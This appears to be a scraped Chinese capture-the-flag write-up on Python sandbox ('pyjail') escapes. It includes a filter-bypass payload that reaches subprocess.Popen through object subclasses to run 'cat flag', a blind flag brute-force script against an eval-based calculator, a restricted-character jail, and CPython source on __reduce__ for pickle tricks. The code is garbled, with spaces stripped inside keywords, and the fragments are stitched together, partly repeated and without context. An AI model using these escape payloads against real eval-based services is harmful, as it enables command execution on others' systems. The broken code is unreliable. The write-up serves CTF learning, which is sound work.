defpyjail(code): blacklist = ['\\x','+','join', '"', "'", '[', ']', '2', '3', '4', '5', '6', '7', '8', '9'] for i in blacklist: if i in code: return'Invalid code'
payload = "{c.__name__:c for c in lit.__base__.__subclasses__()}.get(lit(dic(Popen=1)).pop())(lit((lit(dic(cat=1)).pop(),lit(dic(flag=1)).pop())),**dic(stdout=1-1-1)).communicate()"
pyjail(payload)
解析:
{c.__name__:c for c in lit.__base__.__subclasses__()}: 遍历所有子类,生成一个字典,Key是类名(字符串),Value是类对象。
.get(lit(dic(Popen=1)).pop()):
dic(Popen=1) 生成 {‘Popen’: 1}。
lit(…) 转为列表 [‘Popen’]。
.pop() 取出字符串 ‘Popen’。
所以lit(dic(Popen=1)).pop() = ‘Popen’
.get(...) 从第一步的字典中拿到 subprocess.Popen 类。
{c.__name__:c for c in lit.__base__.__subclasses__()}.get(lit(dic(Popen=1)).pop()),这一步执行结果是<class 'subprocess.Popen'>
{c.__name__:c for c in lit.__base__.__subclasses__()}.get(lit(dic(Popen=1)).pop())(lit((lit(dic(cat=1)).pop(),lit(dic(flag=1)).pop())),**dic(stdout=1-1-1)).communicate()
defget_value(val): val = str(val)[:64] ifstr(val).isdigit(): returnint(val) blacklist = ['(',')','[',']','\'','"'] # I don't like tuple, list and dict. if val == ''or [c for c in blacklist if c in val] != []: print('<center>Invalid value</center>') sys.exit(0) return val
defget_op(val): val = str(val)[:2] list_ops = ['+','-','/','*','=','!'] if val == ''or val[0] notin list_ops: print('<center>Invalid op</center>') sys.exit(0) return val
op = get_op(arguments['op'].value) value1 = get_value(arguments['value1'].value) value2 = get_value(arguments['value2'].value)
ifstr(value1).isdigit() ^ str(value2).isdigit(): print('<center>Types of the values don\'t match</center>') sys.exit(0)
try: result = str(eval(calc_eval)) if result.isdigit() or result == 'True'or result == 'False': print(result) else: print("Invalid") # Sorry we don't support output as a string due to security issue. except: print("Invalid")
defget_op(val): val = str(val)[:2] list_ops = ['+','-','/','*','=','!'] if val == ''or val[0] notin list_ops: print('<center>Invalid op</center>') sys.exit(0) return val
result = str(eval(calc_eval)) if result.isdigit() or result == 'True'or result == 'False': print(result) else: print("Invalid") # Sorry we don't support output as a string due to security issue.
s='abcdefghijkmnlopqrstuvwxyz0123456789-}{' flag='flag{' whileTrue: for i in s: url=url1+flag+i+url2 r=requests.get(url).text print(url) if'True\n>>>'in r: # 因为True会出现在语句里,所以加点定位锚点 flag+=i print(flag) if i == '}': exit() break
defprime_check(n: int) -> bool: if n < 2: returnFalse for i inrange(2, n): if n % i == 0: returnFalse returnTrue
ALLOWED = "abcdefghij0klmnopqrstuvwxyz:_.[]()<=,'" print("Welcome to the Null Jail.想出去吗?你得先告诉我口令") user_src = input("Tell me the Password: ") filtered = ''.join(ch for ch in user_src if ch in ALLOWED)
if ( len(filtered) > 150 ornot filtered.isascii() or"eta"in filtered or filtered.count("(") > 3 ): print("没这么长,我看你是一点不懂哦") raise SystemExit
for m in re.finditer(r"\w+", filtered): ifnot prime_check(len(m.group(0))): print("这家伙在说什么呢。") raise SystemExit
>>> len.__globals__ Traceback (most recent call last): File "<python-input-11>", line 1, in <module> len.__globals__ AttributeError: 'builtin_function_or_method'object has no attribute '__globals__'
/* * There were two problems when object.__reduce__ and object.__reduce_ex__ * were implemented in the same function: * - trying to pickle an object with a custom __reduce__ method that * fell back to object.__reduce__ in certain circumstances led to * infinite recursion at Python level and eventual RecursionError. * - Pickling objects that lied about their type by overwriting the * __class__ descriptor could lead to infinite recursion at C level * and eventual segfault. * * Because of backwards compatibility, the two methods still have to * behave in the same way, even if this is not required by the pickle * protocol. This common functionality was moved to the _common_reduce * function. */ static PyObject * _common_reduce(PyObject *self, int proto) { PyObject *copyreg, *res;
if (proto >= 2) // 我们就传入2 return reduce_newobj(self); // 继续跟踪这个函数
copyreg = import_copyreg(); if (!copyreg) returnNULL;
res = PyObject_CallMethod(copyreg, "_reduce_ex", "Oi", self, proto); Py_DECREF(copyreg);
static PyObject * import_copyreg(void) { /* Try to fetch cached copy of copyreg from sys.modules first in an attempt to avoid the import overhead. Previously this was implemented by storing a reference to the cached module in a static variable, but this broke when multiple embedded interpreters were in use (see issue #17408 and #19088). */ PyObject *copyreg_module = PyImport_GetModule(&_Py_ID(copyreg)); if (copyreg_module != NULL) { return copyreg_module; } if (PyErr_Occurred()) { returnNULL; } return PyImport_Import(&_Py_ID(copyreg)); }
def__newobj_ex__(cls, args, kwargs): """Used by pickle protocol 4, instead of __newobj__ to allow classes with keyword-only arguments to be pickled correctly. """ return cls.__new__(cls, *args, **kwargs)